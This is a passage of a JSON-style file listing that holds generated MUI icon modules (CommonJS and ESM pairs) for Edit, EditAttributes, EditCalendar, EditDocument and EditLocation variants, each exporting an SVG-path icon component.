    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 4h8v1H8zm0 15h8v1H8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 10h2v7h-2zM2 7h2v7H2zm14-4.99L8 2c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V4c0-1.1-.9-1.99-2-1.99M16 20H8v-1h8zm0-3H8V7h8zm0-12H8V4h8z\"\n}, \"1\")], 'EdgesensorLowTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Edit.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 17.25V21h3.75L17.81 9.94l-3.75-3.75zM20.71 7.04c.39-.39.39-1.02 0-1.41l-2.34-2.34a.996.996 0 0 0-1.41 0l-1.83 1.83 3.75 3.75z\"\n}), 'Edit');"
  },
  {
    "path": "packages/mui-icons-material/lib/Edit.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 17.25V21h3.75L17.81 9.94l-3.75-3.75zM20.71 7.04c.39-.39.39-1.02 0-1.41l-2.34-2.34a.996.996 0 0 0-1.41 0l-1.83 1.83 3.75 3.75z\"\n}), 'Edit');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditAttributes.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.63 7H6.37C3.96 7 2 9.24 2 12s1.96 5 4.37 5h11.26c2.41 0 4.37-2.24 4.37-5s-1.96-5-4.37-5M7.24 14.46l-2.57-2.57.7-.7 1.87 1.87 3.52-3.52.7.7z\"\n}), 'EditAttributes');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditAttributes.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.63 7H6.37C3.96 7 2 9.24 2 12s1.96 5 4.37 5h11.26c2.41 0 4.37-2.24 4.37-5s-1.96-5-4.37-5M7.24 14.46l-2.57-2.57.7-.7 1.87 1.87 3.52-3.52.7.7z\"\n}), 'EditAttributes');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditAttributesOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.63 7H6.37C3.96 7 2 9.24 2 12s1.96 5 4.37 5h11.26c2.41 0 4.37-2.24 4.37-5s-1.96-5-4.37-5m0 8H6.37C5.09 15 4 13.63 4 12s1.09-3 2.37-3h11.26C18.91 9 20 10.37 20 12s-1.09 3-2.37 3M7.24 13.06l-1.87-1.87-.7.7 2.57 2.57 4.22-4.22-.7-.7z\"\n}), 'EditAttributesOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditAttributesOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.63 7H6.37C3.96 7 2 9.24 2 12s1.96 5 4.37 5h11.26c2.41 0 4.37-2.24 4.37-5s-1.96-5-4.37-5m0 8H6.37C5.09 15 4 13.63 4 12s1.09-3 2.37-3h11.26C18.91 9 20 10.37 20 12s-1.09 3-2.37 3M7.24 13.06l-1.87-1.87-.7.7 2.57 2.57 4.22-4.22-.7-.7z\"\n}), 'EditAttributesOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditAttributesRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.63 7H6.37C3.96 7 2 9.24 2 12s1.96 5 4.37 5h11.26c2.41 0 4.37-2.24 4.37-5s-1.96-5-4.37-5m-6.52 3.6L7.6 14.11c-.1.1-.23.15-.35.15s-.26-.05-.35-.15l-1.86-1.86c-.2-.2-.2-.51 0-.71s.51-.2.71 0l1.51 1.51 3.16-3.16c.2-.2.51-.2.71 0s.17.51-.02.71\"\n}), 'EditAttributesRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditAttributesRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.63 7H6.37C3.96 7 2 9.24 2 12s1.96 5 4.37 5h11.26c2.41 0 4.37-2.24 4.37-5s-1.96-5-4.37-5m-6.52 3.6L7.6 14.11c-.1.1-.23.15-.35.15s-.26-.05-.35-.15l-1.86-1.86c-.2-.2-.2-.51 0-.71s.51-.2.71 0l1.51 1.51 3.16-3.16c.2-.2.51-.2.71 0s.17.51-.02.71\"\n}), 'EditAttributesRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditAttributesSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.63 7H6.37C3.96 7 2 9.24 2 12s1.96 5 4.37 5h11.26c2.41 0 4.37-2.24 4.37-5s-1.96-5-4.37-5M7.24 14.46l-2.57-2.57.7-.7 1.87 1.87 3.52-3.52.7.7z\"\n}), 'EditAttributesSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditAttributesSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.63 7H6.37C3.96 7 2 9.24 2 12s1.96 5 4.37 5h11.26c2.41 0 4.37-2.24 4.37-5s-1.96-5-4.37-5M7.24 14.46l-2.57-2.57.7-.7 1.87 1.87 3.52-3.52.7.7z\"\n}), 'EditAttributesSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditAttributesTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.63 9H6.37C5.09 9 4 10.37 4 12s1.09 3 2.37 3h11.26c1.28 0 2.37-1.37 2.37-3s-1.09-3-2.37-3M7.24 14.46l-2.57-2.57.7-.7 1.87 1.87 3.52-3.52.7.7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.63 7H6.37C3.96 7 2 9.24 2 12s1.96 5 4.37 5h11.26c2.41 0 4.37-2.24 4.37-5s-1.96-5-4.37-5m0 8H6.37C5.09 15 4 13.63 4 12s1.09-3 2.37-3h11.26C18.91 9 20 10.37 20 12s-1.09 3-2.37 3M7.24 13.06l-1.87-1.87-.7.7 2.57 2.57 4.22-4.22-.7-.7z\"\n}, \"1\")], 'EditAttributesTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditAttributesTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.63 9H6.37C5.09 9 4 10.37 4 12s1.09 3 2.37 3h11.26c1.28 0 2.37-1.37 2.37-3s-1.09-3-2.37-3M7.24 14.46l-2.57-2.57.7-.7 1.87 1.87 3.52-3.52.7.7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.63 7H6.37C3.96 7 2 9.24 2 12s1.96 5 4.37 5h11.26c2.41 0 4.37-2.24 4.37-5s-1.96-5-4.37-5m0 8H6.37C5.09 15 4 13.63 4 12s1.09-3 2.37-3h11.26C18.91 9 20 10.37 20 12s-1.09 3-2.37 3M7.24 13.06l-1.87-1.87-.7.7 2.57 2.57 4.22-4.22-.7-.7z\"\n}, \"1\")], 'EditAttributesTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditCalendar.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 22H5c-1.11 0-2-.9-2-2l.01-14c0-1.1.88-2 1.99-2h1V2h2v2h8V2h2v2h1c1.1 0 2 .9 2 2v6h-2v-2H5v10h7zm10.13-5.01.71-.71c.39-.39.39-1.02 0-1.41l-.71-.71a.996.996 0 0 0-1.41 0l-.71.71zm-.71.71-5.3 5.3H14v-2.12l5.3-5.3z\"\n}), 'EditCalendar');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditCalendar.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 22H5c-1.11 0-2-.9-2-2l.01-14c0-1.1.88-2 1.99-2h1V2h2v2h8V2h2v2h1c1.1 0 2 .9 2 2v6h-2v-2H5v10h7zm10.13-5.01.71-.71c.39-.39.39-1.02 0-1.41l-.71-.71a.996.996 0 0 0-1.41 0l-.71.71zm-.71.71-5.3 5.3H14v-2.12l5.3-5.3z\"\n}), 'EditCalendar');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditCalendarOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 10h14v2h2V6c0-1.1-.9-2-2-2h-1V2h-2v2H8V2H6v2H5c-1.11 0-1.99.9-1.99 2L3 20c0 1.1.89 2 2 2h7v-2H5zm0-4h14v2H5zm17.84 10.28-.71.71-2.12-2.12.71-.71c.39-.39 1.02-.39 1.41 0l.71.71c.39.39.39 1.02 0 1.41m-3.54-.7 2.12 2.12-5.3 5.3H14v-2.12z\"\n}), 'EditCalendarOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditCalendarOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 10h14v2h2V6c0-1.1-.9-2-2-2h-1V2h-2v2H8V2H6v2H5c-1.11 0-1.99.9-1.99 2L3 20c0 1.1.89 2 2 2h7v-2H5zm0-4h14v2H5zm17.84 10.28-.71.71-2.12-2.12.71-.71c.39-.39 1.02-.39 1.41 0l.71.71c.39.39.39 1.02 0 1.41m-3.54-.7 2.12 2.12-5.3 5.3H14v-2.12z\"\n}), 'EditCalendarOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditCalendarRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 22H5c-1.11 0-2-.9-2-2l.01-14c0-1.1.88-2 1.99-2h1V3c0-.55.45-1 1-1s1 .45 1 1v1h8V3c0-.55.45-1 1-1s1 .45 1 1v1h1c1.1 0 2 .9 2 2v6h-2v-2H5v10h7zm10.13-5.01.71-.71c.39-.39.39-1.02 0-1.41l-.71-.71a.996.996 0 0 0-1.41 0l-.71.71zm-.71.71-5.01 5.01c-.18.18-.44.29-.7.29H14.5c-.28 0-.5-.22-.5-.5v-1.21c0-.27.11-.52.29-.71l5.01-5.01z\"\n}), 'EditCalendarRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditCalendarRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 22H5c-1.11 0-2-.9-2-2l.01-14c0-1.1.88-2 1.99-2h1V3c0-.55.45-1 1-1s1 .45 1 1v1h8V3c0-.55.45-1 1-1s1 .45 1 1v1h1c1.1 0 2 .9 2 2v6h-2v-2H5v10h7zm10.13-5.01.71-.71c.39-.39.39-1.02 0-1.41l-.71-.71a.996.996 0 0 0-1.41 0l-.71.71zm-.71.71-5.01 5.01c-.18.18-.44.29-.7.29H14.5c-.28 0-.5-.22-.5-.5v-1.21c0-.27.11-.52.29-.71l5.01-5.01z\"\n}), 'EditCalendarRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditCalendarSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 22H3V4h3V2h2v2h8V2h2v2h3v8h-2v-2H5v10h7zm10.13-5.01 1.41-1.41-2.12-2.12-1.41 1.41zm-.71.71-5.3 5.3H14v-2.12l5.3-5.3z\"\n}), 'EditCalendarSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditCalendarSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 22H3V4h3V2h2v2h8V2h2v2h3v8h-2v-2H5v10h7zm10.13-5.01 1.41-1.41-2.12-2.12-1.41 1.41zm-.71.71-5.3 5.3H14v-2.12l5.3-5.3z\"\n}), 'EditCalendarSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditCalendarTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 6h14v2H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 10h14v2h2V6c0-1.1-.9-2-2-2h-1V2h-2v2H8V2H6v2H5c-1.11 0-1.99.9-1.99 2L3 20c0 1.1.89 2 2 2h7v-2H5zm0-4h14v2H5zm17.84 10.28-.71.71-2.12-2.12.71-.71c.39-.39 1.02-.39 1.41 0l.71.71c.39.39.39 1.02 0 1.41m-3.54-.7 2.12 2.12-5.3 5.3H14v-2.12z\"\n}, \"1\")], 'EditCalendarTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditCalendarTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 6h14v2H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 10h14v2h2V6c0-1.1-.9-2-2-2h-1V2h-2v2H8V2H6v2H5c-1.11 0-1.99.9-1.99 2L3 20c0 1.1.89 2 2 2h7v-2H5zm0-4h14v2H5zm17.84 10.28-.71.71-2.12-2.12.71-.71c.39-.39 1.02-.39 1.41 0l.71.71c.39.39.39 1.02 0 1.41m-3.54-.7 2.12 2.12-5.3 5.3H14v-2.12z\"\n}, \"1\")], 'EditCalendarTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditDocument.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 19.88V22h2.12l5.17-5.17-2.12-2.12zM20 8l-6-6H6c-1.1 0-1.99.9-1.99 2L4 20c0 1.1.89 2 1.99 2H12v-2.95l8-8zm-7 1V3.5L18.5 9zm9.71 5-.71-.71a.996.996 0 0 0-1.41 0l-.71.71L22 16.12l.71-.71c.39-.39.39-1.02 0-1.41\"\n}), 'EditDocument');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditDocument.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 19.88V22h2.12l5.17-5.17-2.12-2.12zM20 8l-6-6H6c-1.1 0-1.99.9-1.99 2L4 20c0 1.1.89 2 1.99 2H12v-2.95l8-8zm-7 1V3.5L18.5 9zm9.71 5-.71-.71a.996.996 0 0 0-1.41 0l-.71.71L22 16.12l.71-.71c.39-.39.39-1.02 0-1.41\"\n}), 'EditDocument');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditLocation.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C8.14 2 5 5.14 5 9c0 5.25 7 13 7 13s7-7.75 7-13c0-3.86-3.14-7-7-7m-1.56 10H9v-1.44l3.35-3.34 1.43 1.43zm4.45-4.45-.7.7-1.44-1.44.7-.7c.15-.15.39-.15.54 0l.9.9c.15.15.15.39 0 .54\"\n}), 'EditLocation');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditLocation.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C8.14 2 5 5.14 5 9c0 5.25 7 13 7 13s7-7.75 7-13c0-3.86-3.14-7-7-7m-1.56 10H9v-1.44l3.35-3.34 1.43 1.43zm4.45-4.45-.7.7-1.44-1.44.7-.7c.15-.15.39-.15.54 0l.9.9c.15.15.15.39 0 .54\"\n}), 'EditLocation');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditLocationAlt.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.95 13H9V8.05l5.61-5.61C13.78 2.16 12.9 2 12 2c-4.2 0-8 3.22-8 8.2 0 3.32 2.67 7.25 8 11.8 5.33-4.55 8-8.48 8-11.8 0-1.01-.16-1.94-.45-2.8z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 11h2.12l6.16-6.16-2.12-2.12L11 8.88zm9.71-9L20 1.29c-.2-.19-.45-.29-.71-.29-.13 0-.48.07-.71.29l-.72.72 2.12 2.12.72-.72c.4-.39.4-1.02.01-1.41\"\n}, \"1\")], 'EditLocationAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditLocationAlt.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.95 13H9V8.05l5.61-5.61C13.78 2.16 12.9 2 12 2c-4.2 0-8 3.22-8 8.2 0 3.32 2.67 7.25 8 11.8 5.33-4.55 8-8.48 8-11.8 0-1.01-.16-1.94-.45-2.8z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 11h2.12l6.16-6.16-2.12-2.12L11 8.88zm9.71-9L20 1.29c-.2-.19-.45-.29-.71-.29-.13 0-.48.07-.71.29l-.72.72 2.12 2.12.72-.72c.4-.39.4-1.02.01-1.41\"\n}, \"1\")], 'EditLocationAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditLocationAltOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 11h2.12l6.16-6.16-2.12-2.12L11 8.88zm9.71-9L20 1.29a.996.996 0 0 0-1.41 0l-.72.72 2.12 2.12.72-.72c.39-.39.39-1.02 0-1.41M17.9 9.05c.06.36.1.74.1 1.15 0 1.71-1.08 4.64-6 9.14-4.92-4.49-6-7.43-6-9.14C6 6.17 9.09 4 12 4c.32 0 .65.03.97.08l1.65-1.65C13.78 2.16 12.9 2 12 2c-4.2 0-8 3.22-8 8.2 0 3.32 2.67 7.25 8 11.8 5.33-4.55 8-8.48 8-11.8 0-1.01-.16-1.94-.45-2.8z\"\n}), 'EditLocationAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditLocationAltOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 11h2.12l6.16-6.16-2.12-2.12L11 8.88zm9.71-9L20 1.29a.996.996 0 0 0-1.41 0l-.72.72 2.12 2.12.72-.72c.39-.39.39-1.02 0-1.41M17.9 9.05c.06.36.1.74.1 1.15 0 1.71-1.08 4.64-6 9.14-4.92-4.49-6-7.43-6-9.14C6 6.17 9.09 4 12 4c.32 0 .65.03.97.08l1.65-1.65C13.78 2.16 12.9 2 12 2c-4.2 0-8 3.22-8 8.2 0 3.32 2.67 7.25 8 11.8 5.33-4.55 8-8.48 8-11.8 0-1.01-.16-1.94-.45-2.8z\"\n}), 'EditLocationAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditLocationAltRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.54 13H10c-.55 0-1-.45-1-1V8.46c0-.26.11-.52.29-.7l5.32-5.32C13.78 2.16 12.9 2 12 2c-4.2 0-8 3.22-8 8.2 0 3.18 2.44 6.92 7.33 11.22.38.33.96.33 1.34 0C17.56 17.12 20 13.37 20 10.2c0-1.01-.16-1.94-.45-2.8l-5.31 5.31c-.18.18-.44.29-.7.29\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 11h2.12l6.16-6.16-2.12-2.12L11 8.88zm9.71-9L20 1.29a.996.996 0 0 0-1.41 0l-.72.72 2.12 2.12.72-.72c.39-.39.39-1.02 0-1.41\"\n}, \"1\")], 'EditLocationAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditLocationAltRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.54 13H10c-.55 0-1-.45-1-1V8.46c0-.26.11-.52.29-.7l5.32-5.32C13.78 2.16 12.9 2 12 2c-4.2 0-8 3.22-8 8.2 0 3.18 2.44 6.92 7.33 11.22.38.33.96.33 1.34 0C17.56 17.12 20 13.37 20 10.2c0-1.01-.16-1.94-.45-2.8l-5.31 5.31c-.18.18-.44.29-.7.29\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 11h2.12l6.16-6.16-2.12-2.12L11 8.88zm9.71-9L20 1.29a.996.996 0 0 0-1.41 0l-.72.72 2.12 2.12.72-.72c.39-.39.39-1.02 0-1.41\"\n}, \"1\")], 'EditLocationAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditLocationAltSharp.js",
